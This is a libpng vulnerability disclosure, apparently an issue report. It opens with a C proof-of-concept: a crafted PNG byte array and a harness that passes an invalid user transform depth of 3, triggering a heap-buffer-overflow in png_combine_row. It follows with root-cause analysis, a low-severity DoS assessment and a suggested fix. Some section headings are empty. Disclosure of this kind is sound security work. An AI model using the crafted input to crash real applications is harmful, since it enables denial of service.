#include <png.h>
#include <string.h>
const unsigned char trigger_input[] = {
0x00, 0x26, 0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a, 0x00, 0x00,
0x00, 0x0d, 0x49, 0x48, 0x44, 0x52, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00,
0x00, 0x20, 0x04, 0x00, 0x00, 0x00, 0x01, 0xe4, 0xe6, 0xf8, 0xbf, 0x00,
0x00, 0x00, 0xae, 0x49, 0x44, 0x41, 0x54, 0x28, 0xcf, 0x65, 0x8e, 0x51,
0x11, 0xc2, 0x30, 0x10, 0x44, 0x17, 0x1c, 0x14, 0x1c, 0x14, 0x1c, 0x04,
0x1c, 0x84, 0x3a, 0x28, 0x75, 0x10, 0xea, 0x20, 0xd4, 0x41, 0xc0, 0x41,
0xc1, 0x41, 0xc1, 0x41, 0xc0, 0x41, 0x91, 0x10, 0x24, 0x54, 0x03, 0x99,
0x49, 0x98, 0xce, 0xcd, 0x7e, 0xdc, 0xec, 0xed, 0xbb, 0x9b, 0xdb, 0xc3,
0xb2, 0x23, 0xc2, 0xb6, 0x45, 0x75, 0x45, 0xfb, 0xc4, 0xba, 0xc1, 0xbe,
0x43, 0x73, 0x47, 0xf7, 0x41, 0x6c, 0x2e, 0x69, 0x1a, 0x9b, 0x47, 0x5a,
0x89, 0xcd, 0x27, 0xed, 0xa1, 0x28, 0x95, 0xae, 0x8d, 0xfd, 0xab, 0x43,
0xd6, 0x1e, 0x59, 0x07, 0x64, 0xf5, 0xc8, 0x3a, 0x22, 0x6b, 0x40, 0xd6,
0x69, 0xbe, 0xc3, 0x07, 0xf9, 0x32, 0x47, 0x70, 0x16, 0x87, 0x72, 0x3a,
0xbf, 0x31, 0xff, 0x83, 0xa2, 0x28, 0x4b, 0xa5, 0xb4, 0xae, 0x6b, 0x63,
0xac, 0x65, 0x20, 0xad, 0x73, 0x0c, 0xa4, 0xed, 0x7b, 0x06, 0xd2, 0x0e,
0x03, 0x03, 0x69, 0xbd, 0x67, 0x20, 0xed, 0x38, 0x32, 0x90, 0x36, 0x04,
0x06, 0xd2, 0x4e, 0x13, 0x81, 0x1f, 0x27, 0x81, 0xeb, 0xa9, 0x31, 0xbb,
0xc4, 0x8f, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4e, 0x44, 0xae, 0x42,
0x60, 0x82, 0xca, 0xfe, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x31, 0x2e, 0x38, 0x2e, 0x30, 0x2e, 0x67, 0x69, 0x74, 0xca, 0xfe,
0xba, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0x2e, 0x38, 0x2e, 0x30, 0x2e, 0x67,
0x69, 0x74, 0xca, 0xfe, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x64, 0x03, 0xe8
};
const size_t trigger_input_len = 281;
struct reader { const uint8_t *data; size_t size, offset; };
void read_fn(png_structp p, png_bytep buf, png_size_t len) {
reader *r = (reader *)png_get_io_ptr(p);
memcpy(buf, r->data + r->offset, len);
r->offset += len;
}
int main() {
reader r{trigger_input, trigger_input_len, 0};
png_structp p = png_create_read_struct(PNG_LIBPNG_VER_STRING, 0, 0, 0);
png_infop ip = png_create_info_struct(p);
if (setjmp(png_jmpbuf(p))) { png_destroy_read_struct(&p, &ip, 0); return 1; }
png_set_read_fn(p, &r, read_fn);
png_set_read_user_transform_fn(p, [](png_structp, png_row_infop, png_bytep) {});
png_set_user_transform_info(p, NULL, 3, 0); // invalid depth=3
png_read_png(p, ip, PNG_TRANSFORM_ID, NULL);
png_destroy_read_struct(&p, &ip, 0);
return 0;
}
Summary
A heap-buffer-overflow in
png_combine_rowcaused bypng_set_user_transform_infoaccepting an invaliduser_transform_depth(e.g., 3), which is not a valid PNG bit depth (only 1,2,4,8,16 are valid). This leads to undersized row buffer allocation and incorrect loop iteration, resulting in a 4-byte out-of-bounds read.Version
c0ba09ecb44f(libpng 1.8.0.git, pnggroup/libpng)Description
png_set_user_transform_infostoresuser_transform_depthwithout validation (pngtrans.c:852). When set to 3 for a 4-bit grayscale interlaced PNG:png_read_transform_info(pngrtran.c:2243) setsinfo_ptr->bit_depth = 3, producingpixel_depth = 3androwbytes = PNG_ROWBYTES(3, 32) = 12.png_read_pngallocates 12-byte row buffers (pngread.c:1146).png_combine_rowcomputespixels_per_byte = 8 / 3 = 2(integer division,pngrutil.c:3592), causing 16 loop iterations for a 32-pixel row — but the buffer is only 12 bytes.The check at
pngrutil.c:3413passes becausePNG_ROWBYTES(3, 32) = 12 = info_rowbytes. The bug is that the loop assumespixel_depthevenly divides 8, which only holds for valid bit depths.Pwndbg-verified runtime values:
transformed_pixel_depth=3,pixels_per_byte=2, 16 iterations on a 12-byte buffer → overflow atdp[12].PoC Code
Reproduction Step
Stack Trace
Security Impact
Low severity. Requires the application to pass an invalid
user_transform_depthvia the public API. Can cause DoS (crash) via segfault in applications that accept untrusted transform parameters.png_set_user_transform_infoshould validate thatuser_transform_depthis a valid PNG bit depth (1, 2, 4, 8, or 16).Signed-off-by: FuzzAnything fuzzanything@gmail.com